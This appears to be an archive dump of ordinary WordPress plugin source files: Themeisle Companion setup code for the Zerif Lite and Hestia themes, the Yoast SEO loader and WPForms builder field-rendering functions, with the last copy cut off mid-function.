themeisle-companion/vendor/codeinwp/full-width-page-templates/themes/zerif-lite/functions.php 0000644 00000000272 15114471043 0036270 0 ustar 00 home/xbodynamge/www/wp-content/plugins <?php
/**
* adds the closing <header> tag
*/
function zerif_close_header() {
echo '</header> <!-- / END HOME SECTION -->';
}
add_action( 'fwpt_std_content', 'zerif_close_header' );
wp-content/plugins/themeisle-companion/obfx_modules/companion-legacy/inc/hestia/functions.php 0000604 00000007277 15114543260 0034652 0 ustar 00 home/xbodynamge/crosstraining <?php
/**
* Companion code for Hestia
*
* @author Themeisle
* @package themeisle-companion
*/
/**
* Include sections from Companion plugin
*/
function themeisle_hestia_require() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$sections_paths = apply_filters( 'themeisle_companion_hestia_sections',array(
'hestia/inc/features/import-zerif-content.php',
'hestia/inc/sections/hestia-features-section.php',
'hestia/inc/sections/hestia-testimonials-section.php',
'hestia/inc/sections/hestia-team-section.php',
'hestia/inc/sections/hestia-ribbon-section.php',
'hestia/inc/sections/hestia-clients-bar-section.php',
) );
themeisle_hestia_require_files( $sections_paths );
}
}
/**
* Include customizer controls in customizer
*/
function themeisle_hestia_load_controls() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$features_paths = apply_filters( 'themeisle_companion_hestia_controls',array(
'hestia/inc/features/feature-features-section.php',
'hestia/inc/features/feature-testimonials-section.php',
'hestia/inc/features/feature-team-section.php',
'hestia/inc/features/feature-ribbon-section.php',
'hestia/inc/features/feature-clients-bar-section.php',
'hestia/inc/customizer.php',
) );
themeisle_hestia_require_files( $features_paths );
}
}
/**
* This function iterates thorough an array of file paths, checks if the file exist and if it does, it require the
* file in plugin.
*
* @param array $array Array of files to require.
*/
function themeisle_hestia_require_files( $array ) {
foreach ( $array as $path ) {
$file_path = trailingslashit( THEMEISLE_COMPANION_PATH ) . $path;
if ( file_exists( $file_path ) ) {
require_once( $file_path );
}
}
}
/**
* Set Front page displays option to A static page
*/
function themeisle_hestia_set_frontpage() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$is_fresh_site = get_option( 'fresh_site' );
if ( (bool) $is_fresh_site === false ) {
$frontpage_title = esc_html__( 'Front Page', 'themeisle-companion' );
$front_id = themeisle_hestia_create_page( 'hestia-front', $frontpage_title );
$blogpage_title = esc_html__( 'Blog', 'themeisle-companion' );
$blog_id = themeisle_hestia_create_page( 'blog', $blogpage_title );
set_theme_mod( 'show_on_front','page' );
update_option( 'show_on_front', 'page' );
if ( ! empty( $front_id ) ) {
update_option( 'page_on_front', $front_id );
}
if ( ! empty( $blog_id ) ) {
update_option( 'page_for_posts', $blog_id );
}
}
}
}
/**
* Function that checks if a page with a slug exists. If not, it create one.
*
* @param string $slug Page slug.
* @param string $page_title Page title.
* @return int
*/
function themeisle_hestia_create_page( $slug, $page_title ) {
// Check if page exists
$args = array(
'name' => $slug,
'post_type' => 'page',
'post_status' => 'publish',
'numberposts' => 1,
);
$post = get_posts( $args );
if ( ! empty( $post ) ) {
$page_id = $post[0]->ID;
} else {
// Page doesn't exist. Create one.
$postargs = array(
'post_type' => 'page',
'post_name' => $slug,
'post_title' => $page_title,
'post_status' => 'publish',
'post_author' => 1,
);
// Insert the post into the database
$page_id = wp_insert_post( $postargs );
}
return $page_id;
}
/**
* Enqueue style for clients bar to make sure that style doesn't brake after removing bootstrap on this section.
* Note: this can be deleted in a future version. It's just for maintaining compatibility, if user updates plugin but
* not the theme.
*/
function themeisle_hestia_enqueue_clients_style(){
wp_enqueue_style( 'hestia-clients-bar', trailingslashit( THEMEISLE_COMPANION_URL ) . 'assets/css/hestia/clients-bar.css' );
} wp-content/plugins/themeisle-companion/obfx_modules/companion-legacy/inc/zerif-lite/functions.php 0000644 00000035231 15114544011 0035230 0 ustar 00 home/xbodynamge/lebauwcentre <?php
/**
* Populate Zerif frontpage widgets areas with default widgets
*/
function themeisle_populate_with_default_widgets() {
$zerif_lite_sidebars = array(
'sidebar-ourfocus' => 'sidebar-ourfocus',
'sidebar-testimonials' => 'sidebar-testimonials',
'sidebar-ourteam' => 'sidebar-ourteam',
'sidebar-aboutus' => 'sidebar-aboutus',
);
$active_widgets = get_option( 'sidebars_widgets' );
/**
* Populate the Our Focus sidebar
*/
if ( empty( $active_widgets[ $zerif_lite_sidebars['sidebar-ourfocus'] ] ) ) {
$zerif_lite_counter = 1;
/* our focus widget #1 */
$active_widgets['sidebar-ourfocus'][0] = 'ctup-ads-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/parallax.png' ) ) {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'PARALLAX EFFECT',
'text' => 'Create memorable pages with smooth parallax effects that everyone loves. Also, use our lightweight content slider offering you smooth and great-looking animations.',
'link' => '#',
// Custom code with stylesheet_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_stylesheet_directory_uri() . '/images/parallax.png', 'first' ),
);
} else {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'PARALLAX EFFECT',
'text' => 'Create memorable pages with smooth parallax effects that everyone loves. Also, use our lightweight content slider offering you smooth and great-looking animations.',
'link' => '#',
// Custom code with template_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_template_directory_uri() . '/images/parallax.png', 'first' ),
);
}
update_option( 'widget_ctup-ads-widget', $ourfocus_content );
$zerif_lite_counter ++;
/* our focus widget #2 */
$active_widgets['sidebar-ourfocus'][] = 'ctup-ads-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/woo.png' ) ) {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'WOOCOMMERCE',
'text' => 'Build a front page for your WooCommerce store in a matter of minutes. The neat and clean presentation will help your sales and make your store accessible to everyone.',
'link' => '#',
// Custom code with stylesheet_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_stylesheet_directory_uri() . '/images/woo.png', 'second' ),
);
} else {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'WOOCOMMERCE',
'text' => 'Build a front page for your WooCommerce store in a matter of minutes. The neat and clean presentation will help your sales and make your store accessible to everyone.',
'link' => '#',
// Custom code with template_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_template_directory_uri() . '/images/woo.png', 'second' ),
);
}
update_option( 'widget_ctup-ads-widget', $ourfocus_content );
$zerif_lite_counter ++;
/* our focus widget #3 */
$active_widgets['sidebar-ourfocus'][] = 'ctup-ads-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/ccc.png' ) ) {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'CUSTOM CONTENT BLOCKS',
'text' => 'Showcase your team, products, clients, about info, testimonials, latest posts from the blog, contact form, additional calls to action. Everything translation ready.',
'link' => '#',
// Custom code with stylesheet_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_stylesheet_directory_uri() . '/images/ccc.png', 'third' ),
);
} else {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'CUSTOM CONTENT BLOCKS',
'text' => 'Showcase your team, products, clients, about info, testimonials, latest posts from the blog, contact form, additional calls to action. Everything translation ready.',
'link' => '#',
// Custom code with template_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_template_directory_uri() . '/images/ccc.png', 'third' ),
);
}
update_option( 'widget_ctup-ads-widget', $ourfocus_content );
$zerif_lite_counter ++;
/* our focus widget #4 */
$active_widgets['sidebar-ourfocus'][] = 'ctup-ads-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/ti-logo.png' ) ) {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'GO PRO FOR MORE FEATURES',
'text' => 'Get new content blocks: pricing table, Google Maps, and more. Change the sections order, display each block exactly where you need it, customize the blocks with whatever colors you wish.',
'link' => '#',
// Custom code with stylesheet_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_stylesheet_directory_uri() . '/images/ti-logo.png', 'fourth' ),
);
} else {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'GO PRO FOR MORE FEATURES',
'text' => 'Get new content blocks: pricing table, Google Maps, and more. Change the sections order, display each block exactly where you need it, customize the blocks with whatever colors you wish.',
'link' => '#',
// Custom code with template_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_template_directory_uri() . '/images/ti-logo.png', 'fourth' ),
);
}
update_option( 'widget_ctup-ads-widget', $ourfocus_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
}// End if().
/**
* Populate the Testimonials sidebar
*/
if ( empty( $active_widgets[ $zerif_lite_sidebars['sidebar-testimonials'] ] ) ) {
$zerif_lite_counter = 1;
/* testimonial widget #1 */
$active_widgets['sidebar-testimonials'][0] = 'zerif_testim-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/testimonial1.jpg' ) ) {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Dana Lorem',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_stylesheet_directory_uri() . '/images/testimonial1.jpg',
);
} else {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Dana Lorem',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_template_directory_uri() . '/images/testimonial1.jpg',
);
}
update_option( 'widget_zerif_testim-widget', $testimonial_content );
$zerif_lite_counter ++;
/* testimonial widget #2 */
$active_widgets['sidebar-testimonials'][] = 'zerif_testim-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/testimonial2.jpg' ) ) {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Linda Guthrie',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_stylesheet_directory_uri() . '/images/testimonial2.jpg',
);
} else {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Linda Guthrie',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_template_directory_uri() . '/images/testimonial2.jpg',
);
}
update_option( 'widget_zerif_testim-widget', $testimonial_content );
$zerif_lite_counter ++;
/* testimonial widget #3 */
$active_widgets['sidebar-testimonials'][] = 'zerif_testim-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/testimonial3.jpg' ) ) {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Cynthia Henry',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_stylesheet_directory_uri() . '/images/testimonial3.jpg',
);
} else {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Cynthia Henry',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_template_directory_uri() . '/images/testimonial3.jpg',
);
}
update_option( 'widget_zerif_testim-widget', $testimonial_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
}// End if().
/**
* Populate the Our team sidebar
*/
if ( empty( $active_widgets[ $zerif_lite_sidebars['sidebar-ourteam'] ] ) ) {
$zerif_lite_counter = 1;
/* our team widget #1 */
$active_widgets['sidebar-ourteam'][0] = 'zerif_team-widget-' . $zerif_lite_counter;
$ourteam_content[ $zerif_lite_counter ] = array(
'name' => 'ASHLEY SIMMONS',
'position' => 'Project Manager',
'description' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque',
'fb_link' => '#',
'tw_link' => '#',
'bh_link' => '#',
'db_link' => '#',
'ln_link' => '#',
'image_uri' => get_template_directory_uri() . '/images/team1.png',
);
update_option( 'widget_zerif_team-widget', $ourteam_content );
$zerif_lite_counter ++;
/* our team widget #2 */
$active_widgets['sidebar-ourteam'][] = 'zerif_team-widget-' . $zerif_lite_counter;
$ourteam_content[ $zerif_lite_counter ] = array(
'name' => 'TIMOTHY SPRAY',
'position' => 'Art Director',
'description' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque',
'fb_link' => '#',
'tw_link' => '#',
'bh_link' => '#',
'db_link' => '#',
'ln_link' => '#',
'image_uri' => get_template_directory_uri() . '/images/team2.png',
);
update_option( 'widget_zerif_team-widget', $ourteam_content );
$zerif_lite_counter ++;
/* our team widget #3 */
$active_widgets['sidebar-ourteam'][] = 'zerif_team-widget-' . $zerif_lite_counter;
$ourteam_content[ $zerif_lite_counter ] = array(
'name' => 'TONYA GARCIA',
'position' => 'Account Manager',
'description' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque',
'fb_link' => '#',
'tw_link' => '#',
'bh_link' => '#',
'db_link' => '#',
'ln_link' => '#',
'image_uri' => get_template_directory_uri() . '/images/team3.png',
);
update_option( 'widget_zerif_team-widget', $ourteam_content );
$zerif_lite_counter ++;
/* our team widget #4 */
$active_widgets['sidebar-ourteam'][] = 'zerif_team-widget-' . $zerif_lite_counter;
$ourteam_content[ $zerif_lite_counter ] = array(
'name' => 'JASON LANE',
'position' => 'Business Development',
'description' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque',
'fb_link' => '#',
'tw_link' => '#',
'bh_link' => '#',
'db_link' => '#',
'ln_link' => '#',
'image_uri' => get_template_directory_uri() . '/images/team4.png',
);
update_option( 'widget_zerif_team-widget', $ourteam_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
}// End if().
/**
* Populate the Aboutus sidebar with Client widgets
*/
if ( empty( $active_widgets[ $zerif_lite_sidebars['sidebar-aboutus'] ] ) ) {
$zerif_lite_counter = 1;
/* client widget #1 */
$active_widgets['sidebar-aboutus'][0] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients1.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
/* client widget #2 */
$active_widgets['sidebar-aboutus'][] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients2.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
/* client widget #3 */
$active_widgets['sidebar-aboutus'][] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients3.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
/* client widget #4 */
$active_widgets['sidebar-aboutus'][] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients4.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
/* client widget #5 */
$active_widgets['sidebar-aboutus'][] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients5.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
}// End if().
update_option( 'themeisle_companion_flag', 'installed' );
}
home/xbodynamge/lebauwcentre/wp-content/plugins/wordpress-seo/src/functions.php 0000644 00000001617 15114562655 0024233 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Internals
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
use Yoast\WP\SEO\Main;
if ( is_dir( WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY ) ) {
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/guzzle/src/functions.php';
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/psr7/src/functions_include.php';
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/promises/src/functions_include.php';
}
/**
* Retrieves the main instance.
*
* @phpcs:disable WordPress.NamingConventions -- Should probably be renamed, but leave for now.
*
* @return Main The main instance.
*/
function YoastSEO() {
// phpcs:enable
static $main;
if ( $main === null ) {
$main = new Main();
$main->load();
}
return $main;
}
home/xbodynamge/namtation/wp-content/plugins/wpforms-lite/includes/admin/builder/functions.php 0000644 00000025341 15114636537 0027117 0 ustar 00 <?php
/**
* Builder related functions.
*
* @package WPForms
* @author WPForms
* @since 1.0.0
* @license GPL-2.0+
* @copyright Copyright (c) 2016, WPForms LLC
*/
/**
* Outputs fields to be used on panels (settings etc).
*
* @since 1.0.0
*
* @param string $option
* @param string $panel
* @param string $field
* @param array $form_data
* @param string $label
* @param array $args
* @param boolean $echo
*
* @return string
*/
function wpforms_panel_field( $option, $panel, $field, $form_data, $label, $args = array(), $echo = true ) {
// Required params.
if ( empty( $option ) || empty( $panel ) || empty( $field ) ) {
return '';
}
// Setup basic vars.
$panel = esc_attr( $panel );
$field = esc_attr( $field );
$panel_id = sanitize_html_class( $panel );
$parent = ! empty( $args['parent'] ) ? esc_attr( $args['parent'] ) : '';
$subsection = ! empty( $args['subsection'] ) ? esc_attr( $args['subsection'] ) : '';
$label = ! empty( $label ) ? esc_html( $label ) : '';
$class = ! empty( $args['class'] ) ? esc_attr( $args['class'] ) : '';
$input_class = ! empty( $args['input_class'] ) ? esc_attr( $args['input_class'] ) : '';
$default = isset( $args['default'] ) ? $args['default'] : '';
$placeholder = ! empty( $args['placeholder'] ) ? esc_attr( $args['placeholder'] ) : '';
$data_attr = '';
$output = '';
$input_id = sprintf( 'wpforms-panel-field-%s-%s', sanitize_html_class( $panel_id ), sanitize_html_class( $field ) );
if ( ! empty( $args['input_id'] ) ) {
$input_id = esc_attr( $args['input_id'] );
}
// Check if we should store values in a parent array.
if ( ! empty( $parent ) ) {
if ( ! empty( $subsection ) ) {
$field_name = sprintf( '%s[%s][%s][%s]', $parent, $panel, $subsection, $field );
$value = isset( $form_data[ $parent ][ $panel ][ $subsection ][ $field ] ) ? $form_data[ $parent ][ $panel ][ $subsection ][ $field ] : $default;
$input_id = sprintf( 'wpforms-panel-field-%s-%s-%s', sanitize_html_class( $panel_id ), sanitize_html_class( $subsection ), sanitize_html_class( $field ) );
$panel_id = sanitize_html_class( $panel . '-' . $subsection );
} else {
$field_name = sprintf( '%s[%s][%s]', $parent, $panel, $field );
$value = isset( $form_data[ $parent ][ $panel ][ $field ] ) ? $form_data[ $parent ][ $panel ][ $field ] : $default;
}
} else {
$field_name = sprintf( '%s[%s]', $panel, $field );
$value = isset( $form_data[ $panel ][ $field ] ) ? $form_data[ $panel ][ $field ] : $default;
}
if ( isset( $args['field_name'] ) ) {
$field_name = $args['field_name'];
}
if ( isset( $args['value'] ) ) {
$value = $args['value'];
}
// Check for data attributes.
if ( ! empty( $args['data'] ) ) {
foreach ( $args['data'] as $key => $val ) {
if ( is_array( $val ) ) {
$val = wp_json_encode( $val );
}
$data_attr .= ' data-' . $key . '=\'' . $val . '\'';
}
}
// Check for readonly inputs.
if ( ! empty( $args['readonly' ] ) ) {
$data_attr .= 'readonly';
}
// Determine what field type to output.
switch ( $option ) {
// Text input.
case 'text':
$output = sprintf(
'<input type="%s" id="%s" name="%s" value="%s" placeholder="%s" class="%s" %s>',
! empty( $args['type'] ) ? esc_attr( $args['type'] ) : 'text',
$input_id,
$field_name,
esc_attr( $value ),
$placeholder,
$input_class,
$data_attr
);
break;
// Textarea.
case 'textarea':
$output = sprintf(
'<textarea id="%s" name="%s" rows="%d" placeholder="%s" class="%s" %s>%s</textarea>',
$input_id,
$field_name,
! empty( $args['rows'] ) ? (int) $args['rows'] : '3',
$placeholder,
$input_class,
$data_attr,
esc_textarea( $value )
);
break;
// TinyMCE.
case 'tinymce':
$id = str_replace( '-', '_', $input_id );
$args['tinymce']['textarea_name'] = $field_name;
$args['tinymce']['teeny'] = true;
$args['tinymce'] = wp_parse_args( $args['tinymce'], array(
'media_buttons' => false,
'teeny' => true,
) );
ob_start();
wp_editor( $value, $id, $args['tinymce'] );
$output = ob_get_clean();
break;
// Checkbox.
case 'checkbox':
$output = sprintf(
'<input type="checkbox" id="%s" name="%s" value="1" class="%s" %s %s>',
$input_id,
$field_name,
$input_class,
checked( '1', $value, false ),
$data_attr
);
$output .= sprintf(
'<label for="%s" class="inline">%s',
$input_id,
$label
);
if ( ! empty( $args['tooltip'] ) ) {
$output .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $args['tooltip'] ) );
}
$output .= '</label>';
break;
// Radio.
case 'radio':
$options = $args['options'];
$radio_counter = 1;
$output = '';
foreach ( $options as $key => $item ) {
if ( empty( $item['label'] ) ) {
continue;
}
$item_value = ! empty( $item['value'] ) ? $item['value'] : $key;
$output .= '<span class="row">';
if ( ! empty( $item['pre_label'] ) ) {
$output .= '<label>' . $item['pre_label'];
}
$output .= sprintf(
'<input type="radio" id="%s-%d" name="%s" value="%s" class="%s" %s %s>',
$input_id,
$radio_counter,
$field_name,
$item_value,
$input_class,
checked( $item_value, $value, false ),
$data_attr
);
if ( empty( $item['pre_label'] ) ) {
$output .= sprintf(
'<label for="%s-%d" class="inline">%s',
$input_id,
$radio_counter,
$item['label']
);
} else {
$output .= '<span class="wpforms-panel-field-radio-label">' . $item['label'] . '</span>';
}
if ( ! empty( $item['tooltip'] ) ) {
$output .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $item['tooltip'] ) );
}
$output .= '</label></span>';
$radio_counter ++;
}
if ( ! empty( $output ) ) {
$output = '<div class="wpforms-panel-field-radio-container">' . $output . '</div>';
}
break;
// Select.
case 'select':
if ( empty( $args['options'] ) && empty( $args['field_map'] ) ) {
return '';
}
if ( ! empty( $args['field_map'] ) ) {
$options = array();
$available_fields = wpforms_get_form_fields( $form_data, $args['field_map'] );
if ( ! empty( $available_fields ) ) {
foreach ( $available_fields as $id => $available_field ) {
$lbl = ! empty( $available_field['label'] ) ? esc_attr( $available_field['label'] ) : esc_html__( 'Field #' ) . $id;
$options[ $id ] = $lbl;
}
}
$input_class .= ' wpforms-field-map-select';
$data_attr .= ' data-field-map-allowed="' . implode( ' ', $args['field_map'] ) . '"';
if ( ! empty( $placeholder ) ) {
$data_attr .= ' data-field-map-placeholder="' . esc_attr( $placeholder ) . '"';
}
} else {
$options = $args['options'];
}
$output = sprintf(
'<select id="%s" name="%s" class="%s" %s>',
$input_id,
$field_name,
$input_class,
$data_attr
);
if ( ! empty( $placeholder ) ) {
$output .= '<option value="">' . $placeholder . '</option>';
}
foreach ( $options as $key => $item ) {
$output .= sprintf( '<option value="%s" %s>%s</option>', esc_attr( $key ), selected( $key, $value, false ), $item );
}
$output .= '</select>';
break;
}
// Put the pieces together.
$field_open = sprintf(
'<div id="%s-wrap" class="wpforms-panel-field %s %s">',
$input_id,
$class,
'wpforms-panel-field-' . sanitize_html_class( $option )
);
$field_open .= ! empty( $args['before'] ) ? $args['before'] : '';
if ( 'checkbox' !== $option && ! empty( $label ) ) {
$field_label = sprintf(
'<label for="%s">%s',
$input_id,
$label
);
if ( ! empty( $args['tooltip'] ) ) {
$field_label .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $args['tooltip'] ) );
}
if ( ! empty( $args['after_tooltip'] ) ) {
$field_label .= $args['after_tooltip'];
}
if ( ! empty( $args['smarttags'] ) ) {
$type = ! empty( $args['smarttags']['type'] ) ? esc_attr( $args['smarttags']['type'] ) : 'fields';
$fields = ! empty( $args['smarttags']['fields'] ) ? esc_attr( $args['smarttags']['fields'] ) : '';
$field_label .= '<a href="#" class="toggle-smart-tag-display" data-type="' . $type . '" data-fields="' . $fields . '"><i class="fa fa-tags"></i> <span>' . esc_html__( 'Show Smart Tags', 'wpforms-lite' ) . '</span></a>';
}
$field_label .= '</label>';
if ( ! empty( $args['after_label'] ) ) {
$field_label .= $args['after_label'];
}
} else {
$field_label = '';
}
$field_close = ! empty( $args['after'] ) ? $args['after'] : '';
$field_close .= '</div>';
$output = $field_open . $field_label . $output . $field_close;
// Wash our hands.
if ( $echo ) {
echo $output;
} else {
return $output;
}
}
/**
* Get notification state, whether it's opened or closed.
*
* @since 1.4.1
* @deprecated 1.4.8
*
* @param int $form_id
* @param int $notification_id
*
* @return string
*/
function wpforms_builder_notification_get_state( $form_id, $notification_id ) {
_deprecated_function( __FUNCTION__, '1.4.8 of WPForms plugin', 'wpforms_builder_settings_block_get_state()' );
return wpforms_builder_settings_block_get_state( $form_id, $notification_id, 'notification' );
}
/**
* Get settings block state, whether it's opened or closed.
*
* @since 1.4.8
*
* @param int $form_id
* @param int $block_id
* @param string $block_type
*
* @return string
*/
function wpforms_builder_settings_block_get_state( $form_id, $block_id, $block_type ) {
$form_id = absint( $form_id );
$block_id = absint( $block_id );
$block_type = sanitize_key( $block_type );
$state = 'opened';
$all_states = get_user_meta( get_current_user_id(), 'wpforms_builder_settings_collapsable_block_states', true );
if ( empty( $all_states ) ) {
return $state;
}
if (
is_array( $all_states ) &&
! empty( $all_states[ $form_id ][ $block_type ][ $block_id ] ) &&
'closed' === $all_states[ $form_id ][ $block_type ][ $block_id ]
) {
$state = 'closed';
}
// Backward compatibility for notifications.
if ( 'notification' === $block_type && 'closed' !== $state ) {
$notification_states = get_user_meta( get_current_user_id(), 'wpforms_builder_notification_states', true );
}
if (
! empty( $notification_states[ $form_id ][ $block_id ] ) &&
'closed' === $notification_states[ $form_id ][ $block_id ]
) {
$state = 'closed';
}
if ( 'notification' === $block_type ) {
// Backward compatibility for notifications.
return apply_filters( 'wpforms_builder_notification_get_state', $state, $form_id, $block_id );
}
return apply_filters( 'wpforms_builder_settings_block_get_state', $state, $form_id, $block_id, $block_type );
}
home/xbodynamge/dev/wp-content/plugins/wpforms-lite/includes/admin/builder/functions.php 0000644 00000025341 15114646130 0025671 0 ustar 00 <?php
/**
* Builder related functions.
*
* @package WPForms
* @author WPForms
* @since 1.0.0
* @license GPL-2.0+
* @copyright Copyright (c) 2016, WPForms LLC
*/
/**
* Outputs fields to be used on panels (settings etc).
*
* @since 1.0.0
*
* @param string $option
* @param string $panel
* @param string $field
* @param array $form_data
* @param string $label
* @param array $args
* @param boolean $echo
*
* @return string
*/
function wpforms_panel_field( $option, $panel, $field, $form_data, $label, $args = array(), $echo = true ) {
// Required params.
if ( empty( $option ) || empty( $panel ) || empty( $field ) ) {
return '';
}
// Setup basic vars.
$panel = esc_attr( $panel );
$field = esc_attr( $field );
$panel_id = sanitize_html_class( $panel );
$parent = ! empty( $args['parent'] ) ? esc_attr( $args['parent'] ) : '';
$subsection = ! empty( $args['subsection'] ) ? esc_attr( $args['subsection'] ) : '';
$label = ! empty( $label ) ? esc_html( $label ) : '';
$class = ! empty( $args['class'] ) ? esc_attr( $args['class'] ) : '';
$input_class = ! empty( $args['input_class'] ) ? esc_attr( $args['input_class'] ) : '';
$default = isset( $args['default'] ) ? $args['default'] : '';
$placeholder = ! empty( $args['placeholder'] ) ? esc_attr( $args['placeholder'] ) : '';
$data_attr = '';
$output = '';
$input_id = sprintf( 'wpforms-panel-field-%s-%s', sanitize_html_class( $panel_id ), sanitize_html_class( $field ) );
if ( ! empty( $args['input_id'] ) ) {
$input_id = esc_attr( $args['input_id'] );
}
// Check if we should store values in a parent array.
if ( ! empty( $parent ) ) {
if ( ! empty( $subsection ) ) {
$field_name = sprintf( '%s[%s][%s][%s]', $parent, $panel, $subsection, $field );
$value = isset( $form_data[ $parent ][ $panel ][ $subsection ][ $field ] ) ? $form_data[ $parent ][ $panel ][ $subsection ][ $field ] : $default;
$input_id = sprintf( 'wpforms-panel-field-%s-%s-%s', sanitize_html_class( $panel_id ), sanitize_html_class( $subsection ), sanitize_html_class( $field ) );
$panel_id = sanitize_html_class( $panel . '-' . $subsection );
} else {
$field_name = sprintf( '%s[%s][%s]', $parent, $panel, $field );
$value = isset( $form_data[ $parent ][ $panel ][ $field ] ) ? $form_data[ $parent ][ $panel ][ $field ] : $default;
}
} else {
$field_name = sprintf( '%s[%s]', $panel, $field );
